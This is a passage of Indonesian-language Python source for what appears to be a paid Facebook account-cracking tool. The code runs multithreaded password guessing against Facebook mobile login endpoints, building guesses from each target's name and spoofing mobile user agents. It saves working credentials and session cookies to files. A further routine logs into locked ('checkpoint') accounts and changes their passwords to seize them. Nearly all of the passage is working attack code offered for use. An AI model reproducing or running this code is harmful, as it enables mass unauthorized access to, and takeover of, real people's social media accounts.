  597.     print(f'CP{x} Save in : {k}CP/%s {x}'%(cpc))
  598.     print('')
  599.     prints(f' Mati/hidupkan Mode terbang 500 id Jika Tidak Ada Hasil\n')
  600.     prog = Progress(SpinnerColumn('clock'),TextColumn('{task.description}'),BarColumn(),TextColumn('{task.percentage:.0f}%'))
  601.     des = prog.add_task('',total=len(id))
  602.     with prog:
  603.         with tred(max_workers=30) as pool:
  604.             for yuzong in id2:
  605.                 idf,nmf = yuzong.split('|')[0],yuzong.split('|')[1].lower()
  606.                 frs = nmf.split(' ')[0]
  607.                 pwv = []
  608.                 if len(nmf)<6:
  609.                     if len(frs)<3:
  610.                         pass
  611.                     else:
  612.                         pwv.append(nmf)
  613.                         pwv.append(frs+'123')
  614.                         pwv.append(frs+'12345')
  615.                 else:
  616.                     if len(frs)<3:
  617.                         pwv.append(nmf)
  618.                     else:
  619.                         pwv.append(nmf)
  620.                         pwv.append(frs+'123')
  621.                         pwv.append(frs+'12345')
  622.                 if 'ya' in pwpluss:
  623.                     for xpwd in pwnya:
  624.                         pwv.append(xpwd)
  625.                 else:pass
  626.                 if 'mobile' in method:
  627.                     pool.submit(crack,idf,pwv)
  628.                 elif 'free' in method:
  629.                     pool.submit(crackfree,idf,pwv)
  630.                 elif 'mbasic' in method:
  631.                     pool.submit(crackmbasic,idf,pwv)
  632.                 else:
  633.                     pool.submit(crack,idf,pwv)
  634.         print('')
  635.         cetak('╰─ Sucses Cracked %s Ok:%s Cp:%s Akuntod'%((len(id)),ok,cp))
  636.         print('')
  637. def passu():
  638.     global prog,des
  639.     print('')
  640.     print(f'OK{x} Save in : {h}OK/%s {x}'%(okc))
  641.     print(f'CP{x} Save in : {k}CP/%s {x}'%(cpc))
  642.     print('')
  643.     prints(f' Mati/hidupkan Mode terbang 500 id Jika Tidak Ada Hasil\n')
  644.     prog = Progress(SpinnerColumn('clock'),TextColumn('{task.description}'),BarColumn(),TextColumn('{task.percentage:.0f}%'))
  645.     des = prog.add_task('',total=len(id))
  646.     with prog:
  647.         with tred(max_workers=30) as pool:
  648.             for yuzong in id2:
  649.                 idf,nmf = yuzong.split('|')[0],yuzong.split('|')[1].lower()
  650.                 frs = nmf.split(' ')[0]
  651.                 pwv = []
  652.                 if len(nmf)<6:
  653.                     if len(frs)<3:
  654.                         pass
  655.                     else:
  656.                         pwv.append(nmf)
  657.                         pwv.append(frs+'123')
  658.                         pwv.append(frs+'1234')
  659.                         pwv.append(frs+'12345')
  660.                 else:
  661.                     if len(frs)<3:
  662.                         pwv.append(nmf)
  663.                     else:
  664.                         pwv.append(nmf)
  665.                         pwv.append(frs+'123')
  666.                         pwv.append(frs+'1234')
  667.                         pwv.append(frs+'12345')
  668.                 if 'ya' in pwpluss:
  669.                     for xpwd in pwnya:
  670.                         pwv.append(xpwd)
  671.                 else:pass
  672.                 if 'mobile' in method:
  673.                     pool.submit(crack,idf,pwv)
  674.                 elif 'free' in method:
  675.                     pool.submit(crackfree,idf,pwv)
  676.                 elif 'mbasic' in method:
  677.                     pool.submit(crackmbasic,idf,pwv)
  678.                 else:
  679.                     pool.submit(crack,idf,pwv)
  680.         print('')
  681.         cetak('╰─ Sucses Cracked %s Ok:%s Cp:%s Akuntod'%((len(id)),ok,cp))
  682.         print('')
  683. def sulap():
  684.     global prog,des
  685.     print('')
  686.     print(f'╰─ {h}OK{x} Save in : {h}OK/%s {x}'%(okc))
  687.     print(f'╰─ {k}CP{x} Save in : {k}CP/%s {x}'%(cpc))
  688.     print(f'╰─ Mati/hidupkan Mode terbang 500 id Jika Tidak Ada Hasil\n')
  689.     prog = Progress(SpinnerColumn('clock'),TextColumn('{task.description}'),BarColumn(),TextColumn('{task.percentage:.0f}%'))
  690.     des = prog.add_task('',total=len(id))
  691.     with prog:
  692.         with tred(max_workers=30) as pool:
  693.             for yuzong in id2:
  694.                 idf,nmf = yuzong.split('|')[0],yuzong.split('|')[1].lower()
  695.                 frs = nmf.split(' ')[0]
  696.                 pwv = []
  697.                 if len(nmf)<6:
  698.                     if len(frs)<3:
  699.                         pass
  700.                     else:
  701.                         pwv.append(nmf)
  702.                         pwv.append(frs+'123')
  703.                         pwv.append(frs+'12345')
  704.                         pwv.append(frs+'123456')
  705.                 else:
  706.                     if len(frs)<3:
  707.                         pwv.append(nmf)
  708.                     else:
  709.                         pwv.append(nmf)
  710.                         pwv.append(frs+'123')
  711.                         pwv.append(frs+'12345')
  712.                         pwv.append(frs+'123456')
  713.                 if 'ya' in pwpluss:
  714.                     for xpwd in pwnya:
  715.                         pwv.append(xpwd)
  716.                 else:pass
  717.                 if 'mobile' in method:
  718.                     pool.submit(crack,idf,pwv)
  719.                 elif 'free' in method:
  720.                     pool.submit(crackfree,idf,pwv)
  721.                 elif 'mbasic' in method:
  722.                     pool.submit(crackmbasic,idf,pwv)
  723.                 else:
  724.                     pool.submit(crack,idf,pwv)
  725.         print('')
  726.         cetak('╰─ Sucses Cracked %s Ok:%s Cp:%s Akuntod'%((len(id)),ok,cp))
  727.         print('')
  728.        
  729. def babi():
  730.     print('===========================')
  731. #   os.system('clear')
  732.     global prog,des
  733. #   os.system('clear')
  734.     print(f' [•] CP/{cp_kocak}')
  735.     print(f' [•] OK/{ok_kocak}')
  736.     print('================================')
  737.     prog = Progress(SpinnerColumn('clock'),TextColumn('{task.description}'),BarColumn(),TextColumn('{task.percentage:.0f}%'))
  738.     des = prog.add_task('',total=len(id))
  739.     with prog:
  740.         with tred(max_workers=30) as pool:
  741.             for yuzong in id2:
  742.                 idf,nmf = yuzong.split('|')[0],yuzong.split('|')[1].lower()
  743.                 frs = nmf.split(' ')[0]
  744.                 pwv = []
  745.                 if len(nmf)<6:
  746.                     if len(frs)<3:
  747.                         pass
  748.                     else:
  749.                         pwv.append(nmf)
  750.                         pwv.append(frs+'321')
  751.                         pwv.append(frs+'123')
  752.                         pwv.append(frs+'12345')
  753.                 else:
  754.                     if len(frs)<3:
  755.                         pwv.append(nmf)
  756.                     else:
  757.                         pwv.append(nmf)
  758.                         pwv.append(frs+'321')
  759.                         pwv.append(frs+'123')
  760.                         pwv.append(frs+'12345')
  761.                 if 'ya' in pwpluss:
  762.                     for xpwd in pwnya:
  763.                         pwv.append(xpwd)
  764.                 else:pass
  765.                 if 'mobile' in method:
  766.                     pool.submit(crack,idf,pwv)
  767.                 elif 'free' in method:
  768.                     pool.submit(crackfree,idf,pwv)
  769.                 elif 'mbasic' in method:
  770.                     pool.submit(crackmbasic,idf,pwv)
  771.                 else:
  772.                     pool.submit(crack,idf,pwv)
  773.         print('')
  774.     #   cetak('╰─ Sucses Cracked %s Ok:%s Cp:%s Akuntod'%((len(id)),ok,cp))
  775.         print('')
  776. def crack(idf,pwv):
  777.     global loop,ok,cp
  778.     bi = random.choice(['\33[m'])
  779.     pers = loop*100/len(id2)
  780.     fff = '%'
  781.     prog.update(des,description=f'\r[deep_white] {H}OK:{ok} {M}CP:{cp} {B}[{loop}/{len(id)}]')
  782. #   prog.update(des,description=f'\r[deep_white] {(loop)}/{len(id)}[/] [green]OK[/]:[green]{(ok)} [/]=[yellow] CP[/]:[yellow]{(cp)}')
  783.     prog.advance(des)
  784.     ses = requests.Session()
  785.     ua_lux = (ugen2)
  786.     ua_lux = random.choice(["Mozilla/5.0 (Linux; Android 11; Redmi Note 8 Pro Build/RP1A.200720.011; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/99.0.4844.73 Mobile Safari/537.36 [FB_IAB/FB4A;FBAV/398.0.0.21.105;]","Mozilla/5.0 (Linux; Android 11; Nokia C2 2nd Edition Build/RP1A.200720.011; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/108.0.5359.128 Mobile Safari/537.36 [FB_IAB/FB4A;FBAV/396.1.0.28.104;]","Mozilla/5.0 (Linux; Android 12; SM-A217F Build/SP1A.210812.016; wv) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.86 Mobile Safari/537.36","Mozilla/5.0 (Linux; Android 10; POT-LX1T Build/HUAWEIPOT-L21T; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/109.0.5414.85 Mobile Safari/537.36","Mozilla/5.0 (Linux; Android 13; SM-G781B Build/TP1A.220624.014; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/109.0.5414.85 Mobile Safari/537.36"])
  787.     ua = random.choice(["Mozilla/5.0 (Linux; Android 12; RMX3081 Build/SKQ1.210216.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/109.0.5414.85 Mobile Safari/537.36 [FB_IAB/FB4A;FBAV/398.0.0.21.105;]","Mozilla/5.0 (iPhone; CPU iPhone OS 16_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/20D47 [FBAN/FBIOS;FBDV/iPhone13,2;FBMD/iPhone;FBSN/iOS;FBSV/16.3;FBSS/3;FBID/phone;FBLC/en_US;FBOP/5]","Mozilla/5.0 (Linux; Android 10; LYA-L29 Build/HUAWEILYA-L29; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/109.0.5414.85 Mobile Safari/537.36 [FB_IAB/FB4A;FBAV/398.0.0.21.105;]"])
  788. #   ua_lux = ua_krek()
  789.     for pw in pwv:
  790.         try:
  791.             ses.headers.update({'Host': 'm.facebook.com','cache-control': 'max-age=0','sec-ch-ua-mobile': '?1','upgrade-insecure-requests': '1','user-agent': ua_lux,'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','sec-fetch-site': 'same-origin','sec-fetch-mode': 'cors','sec-fetch-dest': 'empty','accept-language': 'id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7'})
  792.             p = ses.get('https://m.facebook.com/login.php?skip_api_login=1&api_key=222161937813280&kid_directed_site=0&app_id=222161937813280&signed_next=1&next=https%3A%2F%2Fwww.facebook.com%2Fdialog%2Foauth%3Fresponse_type%3Dcode%26client_id%3D222161937813280%26redirect_uri%3Dhttps%253A%252F%252Faccount.xiaomi.com%252Fpass%252Fsns%252Flogin%252Fload%26state%3DSTATE_248222%26scope%3Demail%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3D11699442-ce8e-4d69-8952-fb5f6b0c3d12%26tp%3Dunspecified&cancel_url=https%3A%2F%2Faccount.xiaomi.com%2Fpass%2Fsns%2Flogin%2Fload%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3DSTATE_248222%23_%3D_&display=page&locale=id_ID&pl_dbl=0&_rdc=1&_rdr')
  793.             dataa ={"lsd":re.search('name="lsd" value="(.*?)"', str(p.text)).group(1),"jazoest":re.search('name="jazoest" value="(.*?)"', str(p.text)).group(1),"uid":idf,"next":"https://m.facebook.com/v2.3/dialog/oauth?app_id=124024574287414&cbt=1651658200978&e2e=%7B%22init%22%3A1651658200978%7D&sso=chrome_custom_tab&scope=email&state=%7B%220_auth_logger_id%22%3A%2268f15bae-23f8-463c-8660-5cf1226d97f6%22%2C%227_challenge%22%3A%22dahj28hqtietmhrgprpp%22%2C%223_method%22%3A%22custom_tab%22%7D&redirect_uri=fbconnect%3A%2F%2Fcct.com.instathunder.app&response_type=token%2Csigned_request%2Cgraph_domain%2Cgranted_scopes&return_scopes=true&ret=login&fbapp_pres=0&logger_id=68f15bae-23f8-463c-8660-5cf1226d97f6&tp=unspecified","flow":"login_no_pin","pass":pw,}
  794.             koki = (";").join([ "%s=%s" % (key, value) for key, value in p.cookies.get_dict().items() ])
  795.             koki+=' m_pixel_ratio=2.625; wd=412x756'
  796.             heade={'Host': 'm.facebook.com','cache-control': 'max-age=0','sec-ch-ua': '" Not A;Brand";v="99", "Chromium";v="98"','sec-ch-ua-mobile': '?1','sec-ch-ua-platform': '"Android"','upgrade-insecure-requests': '1','origin': 'https://m.facebook.com','content-type': 'application/x-www-form-urlencoded','user-agent': ua_lux,'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','x-requested-with': 'XMLHttpRequest','sec-fetch-site': 'same-origin','sec-fetch-mode': 'cors','sec-fetch-dest': 'empty','referer': 'https://m.facebook.com/login/device-based/password/?uid='+idf+'&flow=login_no_pin&next=https%3A%2F%2Fm.facebook.com%2Fv2.3%2Fdialog%2Foauth%3Fapp_id%3D124024574287414%26cbt%3D1651658200978%26e2e%3D%257B%2522init%2522%253A1651658200978%257D%26sso%3Dchrome_custom_tab%26scope%3Demail%26state%3D%257B%25220_auth_logger_id%2522%253A%252268f15bae-23f8-463c-8660-5cf1226d97f6%2522%252C%25227_challenge%2522%253A%2522dahj28hqtietmhrgprpp%2522%252C%25223_method%2522%253A%2522custom_tab%2522%257D%26redirect_uri%3Dfbconnect%253A%252F%252Fcct.com.instathunder.app%26response_type%3Dtoken%252Csigned_request%252Cgraph_domain%252Cgranted_scopes%26return_scopes%3Dtrue%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3D68f15bae-23f8-463c-8660-5cf1226d97f6%26tp%3Dunspecified&cancel_url=fbconnect%3A%2F%2Fcct.com.instathunder.app%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3D%257B%25220_auth_logger_id%2522%253A%252268f15bae-23f8-463c-8660-5cf1226d97f6%2522%252C%25227_challenge%2522%253A%2522dahj28hqtietmhrgprpp%2522%252C%25223_method%2522%253A%2522custom_tab%2522%257D&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr','accept-encoding': 'gzip, deflate, br','accept-language': 'id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7'}
  797.             po = ses.post('https://m.facebook.com/login/device-based/validate-password/?shbl=0&locale2=id_ID',data=dataa,cookies={'cookie': koki},headers=heade,allow_redirects=False)
  798.             if "checkpoint" in po.cookies.get_dict().keys():
  799.                 tree= Tree(f" ")
  800.                 tree.add(Panel.fit(f"\r[bold yellow]CHECKPOINT")).add(Panel.fit(f"[yellow]{idf}|{pw}",title='[yellow]• USER & PW')).add(Panel.fit(f"[yellow]{ua_lux}",title='[yellow]• UA •'))
  801.                 cetak(tree)
  802.                 open('CP/'+cp_kocak,'a').write(idf+'|'+pw+'\n')
  803.                 akun.append(idf+'|'+pw)
  804.                 cp+=1
  805.                 break
  806.             elif "c_user" in ses.cookies.get_dict().keys():
  807.                 ok+=1
  808.                 coki=po.cookies.get_dict()
  809.                 kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
  810.                 print(f'{H}[{P}LUXINE{H}] {P}{idf}|{pw}')
  811.                 print(f'{U}[{P}cookie{U}] {P}{kuki}')
  812.         #       tree= Tree(f" ")
  813.     #           tree.add(Panel.fit(f"\r[bold green]LIVE")).add(Panel.fit(f"\r[green]{idf}|{pw}",title='[green]• USER & PW •')).add(Panel(f"[grren]{kuki}",title='[green]• COKIE •')).add(Panel(f"[green]{ua_lux}",title='[green]• UA •'))
  814.             #   cetak(tree)
  815.                 open('OK/'+ok_kocak,'a').write(idf+'|'+pw+'\n')
  816.                 break
  817.             else:
  818.                 continue
  819.         except requests.exceptions.ConnectionError:
  820.             time.sleep(3)
  821.     loop+=1
  822. def crackfree(idf,pwv):
  823.     global loop,ok,cp
  824.     bi = random.choice(['\33[m'])
  825.     pers = loop*100/len(id2)
  826.     fff = '%'
  827.     prog.update(des,description=f'\r[deep_white] M2 {(loop)}/{len(id)}[/] [green]OK[/]:[green]{(ok)} [/]=[yellow] CP[/]:[yellow]{(cp)}')
  828.     prog.advance(des)
  829.     ua = random.choice(ugen)
  830.     ua2 = random.choice(ugen2)
  831.     ses = requests.Session()
  832.     for pw in pwv:
  833.         try:
  834.             ses.headers.update({'Host': 'm.facebook.com','cache-control': 'max-age=0','sec-ch-ua-mobile': '?1','upgrade-insecure-requests': '1','user-agent': ua,'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','sec-fetch-site': 'same-origin','sec-fetch-mode': 'cros','sec-fetch-dest': 'empty','accept-language': 'id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7'})
  835.             p = ses.get('https://m.facebook.com/login/device-based/password/?uid='+idf+'&flow=login_no_pin&refsrc=deprecated&_rdr')
  836.             dataa ={"lsd":re.search('name="lsd" value="(.*?)"', str(p.text)).group(1),"jazoest":re.search('name="jazoest" value="(.*?)"', str(p.text)).group(1),"uid":idf,"next":"https://m.facebook.com/?stype=lo&jlou=AfeHk-CAJvdGaHk4jrPG5UtFn4CKHtir7fjddC1Yn0kMD7n1Kct_NlHp4ILanYLiuOMHerEBIaAAGZpqIronHYoLKX2b3Z4J_2orkzUezPFFPw&smuh=4646&lh=Ac_94l2RFc-vs30xNbg&_rdr","flow":"login_no_pin","pass":pw,}
  837.             koki = (";").join([ "%s=%s" % (key, value) for key, value in p.cookies.get_dict().items() ])
  838.             koki+=' m_pixel_ratio=2.625; wd=412x756'
  839.             heade={'Host': 'm.facebook.com','cache-control': 'max-age=0','upgrade-insecure-requests': '1','user-agent': ua,'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','sec-fetch-site': 'same-origin','sec-fetch-mode': 'navigate','sec-fetch-user': '?1','sec-fetch-dest': 'document','sec-ch-ua': '"Google Chrome";v="107", "Chromium";v="107", "Not=A?Brand";v="8"','sec-ch-ua-mobile': '?1','sec-ch-ua-platform': '"Android"','referer': 'https://m.facebook.com/login/device-based/password/?uid='+idf+'&flow=login_no_pin&refsrc=deprecated&_rdr','accept-encoding': 'gzip, deflate, br','accept-language': 'id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7'}
  840.     #       po = ses.post('https://' + head['Host'] + '/login/device-based/regular/login/?refsrc=deprecated&amp;lwv=100',data=dataa,cookies='cookie':koki},headers=heade,allow_redirects=False)
  841.             po = ses.post('https://m.facebook.com/login/device-based/validate-password/?shbl=0',data=dataa,cookies={'cookie': koki},headers=heade,allow_redirects=False)
  842.             if "checkpoint" in po.cookies.get_dict().keys():
  843.                 print(f'├── Email  : {kk}{idf}{P} \n│   └──  Sandi  : {kk}{pw}{P}\n└── User Agent  : {kk}{ua}{P} ')
  844.                 open('CP/'+cpc,'a').write(idf+'|'+pw+'\n')
  845.                 akun.append(idf+'|'+pw)
  846.                
  847.                 cp+=1
  848.                 break
  849.             elif "c_user" in ses.cookies.get_dict().keys():
  850.                 ok+=1
  851.                 coki=po.cookies.get_dict()
  852.                 kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
  853.                 print(f'├── Email  : {hh}{idf}{P} \n│   └──  sandi  : {hh}{pw} {P}\n└──  Cookie : {hh}{kuki}{P}')
  854.                 open('OK/'+okc,'a').write(idf+'|'+pw+'\n')
  855.                
  856.                
  857.                 break
  858.                
  859.             else:
  860.                 continue
  861.         except requests.exceptions.ConnectionError:
  862.             time.sleep(3)
  863.     loop+=1
  864. def getkey():
  865.     import json, requests
  866.     try:
  867.         openkey = open(".key.txt","r").read()
  868.         files = openkey.split("\n")[1]
  869.         key = openkey.split("\n")[0]
  870.     except FileNotFoundError:
  871.         os.system("clear")
  872.         none();time.sleep(1)
  873.         print("")
  874.         print("\033[0m╰─ Authour Meledak XD TOD ")
  875.         print("\033[0m╰─ License Anda Tidak Tersedia ");time.sleep(2)
  876.         print ("")
  877.         jalan("\033[0m╰─ license anda :\033[32m "+crot);time.sleep(1)
  878.         namamu = input("\033[0m╰─ nama anda : ")
  879.         yt = input("\033[0m╰─ Chat Admin Untuk Beli Lisensi y/t? > ")
  880.         if yt in ["Y","y"]:
  881.             os.system("xdg-open https://wa.me/+6281322544391?text=Assalamualaikum+bang+Meledak,+aku+mau+beli+scriptnya+tapi+yang+versi+premium.+Ini+lisensinya:%20"+crot+"+konfitmasi+nama+pembeli:%20"+namamu)
  882.             open(".key.txt","w").write(crot+"\n"+namamu)
  883.             exit()
  884.         else:
  885.             exit("\033[0m╰─ Telah keluar program")
  886.     try:
  887.         confirmkey = requests.get("https://raw.githubusercontent.com/privatescrip/database/main/ya.json").json()
  888.     except requests.exceptions.ConnectionError:
  889.         print("\033[0m╰─ Jaringan Internet Kamu Tidak Ada");exit()
  890.     if confirmkey[files] == key:
  891.         if confirmkey[files] == "tidakada":
  892.             print("\n\033[0m╰─ Lisensi key Kamu Sudah Kadaluarsa")
  893.             os.system("rm -rf .key.txt");exit()
  894.         else:
  895.             print("\n\033[0m╰─ Lisensi key Kamu Sudah Aktif");time.sleep(1);login()
  896.     else:
  897.         print("\n\033[0m╰─ Lisensi key Kamu Sudah Kadaluarsa")
  898.         os.system("rm -rf .key.txt");exit()
  899.  
  900. import requests, shutil, os, re, bs4, sys, json, time, platform ,random, datetime, subprocess, logging, base64
  901. import hmac, hashlib, urllib, stdiomask, urllib.request, uuid
  902. from concurrent.futures import ThreadPoolExecutor
  903. from bs4 import BeautifulSoup as parser
  904. from threading import (Thread, Event)
  905. from time import sleep as jeda
  906. from datetime import datetime
  907.  
  908. ct = datetime.now()
  909. n = ct.month
  910. bulan_ = ['Januari', 'Februari', 'Maret', 'April', 'Mei', 'Juni', 'Juli', 'Agustus', 'September', 'Oktober', 'November', 'Desember']
  911. try:
  912.     if n < 0 or n > 12:
  913.         exit()
  914.     nTemp = n - 1
  915. except ValueError:
  916.     exit()
  917.  
  918. current = datetime.now()
  919. hari = current.day
  920. bulan = bulan_[nTemp]
  921. tahun = current.year
  922. bullan = current.month
  923.  
  924. waktu = ("%s-%s-%s"%(hari,bulan,tahun))
  925. bulan12 = {"01": "Januari", "02": "Februari", "03": "Maret", "04": "April", "05": "Mei", "06": "Juni", "07": "Juli", "08": "Agustus", "09": "September", "10": "Oktober", "11": "November", "12": "Desember"}
  926.  
  927. M = '\x1b[1;91m' # MERAH
  928. H = '\x1b[1;92m' # HIJAU
  929. K = '\x1b[1;93m' # KUNING
  930. B = '\x1b[1;94m' # BIRU
  931. U = '\x1b[1;95m' # UNGU
  932. O = '\x1b[1;96m' # BIRU MUDA
  933. P = '\x1b[1;97m' # PUTIH
  934. J = '\033[38;2;255;127;0;1m' # ORANGE
  935. N = '\x1b[0m' # WARNA MATI
  936. acak = [M, H, K, B, U, O, P, J]
  937. warna = random.choice(acak)
  938. til ="\033[0m╰─ "
  939.  
  940. def jalan(keliling):
  941.     for mau in keliling + '\n':
  942.         sys.stdout.write(mau)
  943.         sys.stdout.flush();jeda(0.03)
  944.        
  945.        
  946. ubah_pass = []
  947. pwbaru = []
  948. pwBaru = []
  949. ubahP = []
  950.  
  951. def file_cp():
  952.     dirs = os.listdir('CP')
  953.     for file in dirs:
  954.         print("%s%s\033[0m%s"%(U,til,file));jeda(0.07)
  955.     try:
  956.         opsi()
  957.     except IOError:
  958.         print ('%s%s \033[0mfile tidak ada'%(M,til))
  959.         exit()
  960.  
  961. def opsi():
  962.     CP = ("CP/")
  963.     romi = input(" nama file : ")
  964.     if romi == "":
  965.         print("%s%s \033[0misi yang benar "%(M,til));jeda(2)
  966.         opsi()
  967.     try:
  968.         file_cp = open(CP+romi, "r").readlines()
  969.     except IOError:
  970.         exit()
  971.     print('-> tidak di sarankan menganti sandi langsung')
  972.     pw=input(" langsun ganti sandi? y/t : ")
  973.     if pw in['y','Y']:
  974.         ubah_pass.append("ubah_sandi")
  975.         pw2 = input(" sandi : ")
  976.         if len(pw2) <= 5:
  977.             print("%s%s sandi minimal 6 karakter "%(M,til))
  978.         else:
  979.             pwbaru.append(pw2)
  980.     print(f' terdapat {file_cp} akun dalam file ini ')
  981. #   print ("%s%s%s\033[0m total akun %s: %s%s "%(U,til,O,M,K,str(len(file_cp))))
  982. #   print(" %s# %s---------------------------------------- %s#"%(P,M,P));jeda(2)
  983.     nomor = 0
  984.     for fb in file_cp:
  985.         akun = fb.replace("\n","")
  986.         ngecek  = akun.split("|")
  987.         nomor+=1
  988.         print("\n%s%s.%s \033[0m OTW LOGIN AKUN %s--> %s%s"%(H,str(nomor),O,M,K,akun.replace(" *--> ","")));jeda(0.07)
  989.         try:
  990.             mengecek(ngecek[0].replace("",""), ngecek[1])
  991.         except requests.exceptions.ConnectionError:
  992.             continue
  993.     print("\n%s%s%s \033[0mSelesai mengecek akun"%(U,til,O));jeda(0.07)
  994.     input('%s%s%s [%s Enter%s ] '%(U,til,O,U,O))
  995.     back()
  996.    
  997. data = {}
  998. data2 = {}
  999.  
  1000. def mengecek(user,pw):
  1001.     global loop,ubah_pass,pwbaru
  1002.     session=requests.Session()
  1003.     ua = 'Mozilla/5.0 (Linux; Android 8.1.0; S45B) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Mobile Safari/537.36'
  1004.     url = "https://mbasic.facebook.com"
  1005.     session.headers.update({"Host": "mbasic.facebook.com","cache-control": "max-age=0","upgrade-insecure-requests": "1","origin": "https://mbasic.facebook.com","content-type": "application/x-www-form-urlencoded","user-agent": ua,"accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9","x-requested-with": "mark.via.gp","sec-fetch-site": "same-origin","sec-fetch-mode": "navigate","sec-fetch-user": "?1","sec-fetch-dest": "document","referer": "https://mbasic.facebook.com/login/?next&ref=dbl&fl&refid=8","accept-encoding": "gzip, deflate","accept-language": "id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7"})
  1006.     soup=bs4.BeautifulSoup(session.get(url+"/login/?next&ref=dbl&fl&refid=8").text,"html.parser")
  1007.     link=soup.find("form",{"method":"post"})
  1008.     for x in soup("input"):
  1009.         data.update({x.get("name"):x.get("value")})
  1010.     data.update({"email":user,"pass":pw})
  1011.     urlPost=session.post(url+link.get("action"),data=data)
  1012.     response=bs4.BeautifulSoup(urlPost.text, "html.parser")
  1013.     if "c_user" in session.cookies.get_dict():
  1014.         if "Akun Anda Dikunci" in urlPost.text:
  1015.             print("\r%s%s\033[0m akun terkunci sesi new"%(M,til))
  1016.         else:
  1017.             print("\r%s%s\033[0m akun tidak checkpoint, silahkan anda login "%(til,H))
  1018.             open('OK/OK-%s.txt'%(waktu), 'a').write(" %s|%s\n" % (user,pw))
  1019.     elif "checkpoint" in session.cookies.get_dict():
  1020.         coki = (";").join([ "%s=%s" % (key, value) for key, value in session.cookies.get_dict().items() ])
  1021.         title=re.findall("\<title>(.*?)<\/title>",str(response))
  1022.         link2=response.find("form",{"method":"post"})
  1023.         listInput=['fb_dtsg','jazoest','checkpoint_data','submit[Continue]','nh']
  1024.         for x in response("input"):
  1025.             if x.get("name") in listInput:
  1026.                 data2.update({x.get("name"):x.get("value")})
  1027.         an=session.post(url+link2.get("action"),data=data2)
  1028.         response2=bs4.BeautifulSoup(an.text,"html.parser")
  1029.         cek=[cek.text for cek in response2.find_all("option")]
  1030.         number=0
  1031.         print("\r%s%s \033[0m %s%s%s \033[0mopsi %s:"%(U,O,P,str(len(cek)),O,M));jeda(0.07)
  1032.         if(len(cek)==0):
  1033.             if "Lihat detail login yang ditampilkan. Ini Anda?" in title:
  1034.                 if "ubah_sandi" in ubah_pass:
  1035.                     dat,dat2={},{}
  1036.                     but=["submit[Yes]","nh","fb_dtsg","jazoest","checkpoint_data"]
  1037.                     for x in response("input"):
  1038.                         if x.get("name") in but:
  1039.                             dat.update({x.get("name"):x.get("value")})
  1040.                     ubahPw=session.post(url+link2.get("action"),data=dat).text
  1041.                     resUbah=bs4.BeautifulSoup(ubahPw,"html.parser")
  1042.                     link3=resUbah.find("form",{"method":"post"})
  1043.                     but2=["submit[Next]","nh","fb_dtsg","jazoest"]
  1044.                     if "Buat Kata Sandi Baru" in re.findall("\<title>(.*?)<\/title>",str(ubahPw)):
  1045.                         for b in resUbah("input"):
  1046.                             dat2.update({b.get("name"):b.get("value")})
  1047.                         dat2.update({"password_new":"".join(pwbaru)})
  1048.                         an=session.post(url+link3.get("action"),data=dat2)
  1049.                         coki = (";").join([ "%s=%s" % (key, value) for key, value in session.cookies.get_dict().items() ])
  1050.                         print("\r%s%s\033[0one tab %s%s%s|%s|%s         "%(H,til,N,H,user,pwbaru[0],coki))
  1051.                         open('OK/OK-%s.txt' %(waktu), 'a').write("%s%s|%s|%s\n" % (H,user,pwbaru[0],coki))
  1052.                         #cek_apk(coki)
  1053.                 else:
  1054.                     print("\r%s%s \033[0m one tab   "%(H,til))
  1055.                     open('OK/OK-%s.txt' %(waktu), 'a').write("%s %s|%s|%s\n" % (H,user,pw,coki))
  1056.                     #cek_apk(coki)
  1057.             elif "Masukkan Kode Masuk untuk Melanjutkan" in re.findall("\<title>(.*?)<\/title>",str(response)):
  1058.                 print("\r%s╰─\033[0m BUANG AJA GA GUNA          "%(M))
  1059.             else:
  1060.                 print("%s%s\033[0mterjadi kesalahan"%(M,til))
  1061.         else:
  1062.             if "c_user" in session.cookies.get_dict():
  1063.                 print("\r%s%s akun tidak checkpoint, silahkan anda login "%(H))
  1064.                 open('OK/OK-%s.txt' %(waktu), 'a').write("%s%s|%s\n" % (H,user,pw))
  1065.         for opsi in range(len(cek)):
  1066.             number +=1
  1067.             jalan ("  %s%s. %s%s"%(P,str(number),K,cek[opsi]))
  1068.     elif "login_error" in str(response):
  1069.         oh = run.find("div",{"id":"login_error"}).find("div").text
  1070.         print("%s╰─ %s"%(M,oh))
  1071.     else:
  1072.         print("%s╰─ \033[0mlogin gagal, silahkan cek kembali id dan kata sandi"%(M))
  1073.          
  1074. def scarpping_ua():
